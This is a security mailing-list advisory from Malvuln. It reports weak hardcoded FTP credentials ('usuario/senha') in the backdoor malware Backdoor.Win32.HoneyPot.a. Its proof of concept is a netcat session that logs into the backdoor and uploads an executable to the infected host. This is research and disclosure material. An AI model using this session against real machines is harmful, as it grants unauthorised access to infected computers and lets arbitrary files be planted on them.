full-disclosure - [FD] Backdoor.Win32.HoneyPot.a / Weak Hardcoded Password

Open Source and information security mailing list archives

Date: Fri, 15 Jul 2022 17:15:45 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.HoneyPot.a / Weak Hardcoded Password

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/e3bb503f9b02cf57341695f30e31128f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.HoneyPot.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on various TCP ports of which one can be
port 21 when enabled. Authentication is required, however the credentials
"usuario/senha" are weak and found within the PE file.
Family: HoneyPot
Type: PE32
MD5: e3bb503f9b02cf57341695f30e31128f
Vuln ID: MVID-2022-0622
Disclosure: 07/15/2022

Exploit/PoC:
'senha' is password in Portuguese

C:\>nc64.exe x.x.x.x 21
220 Wu-ftpd 1.6.9
USER usuario
331 Password required for usuario.
PASS senha
230 User usuario logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,218,13).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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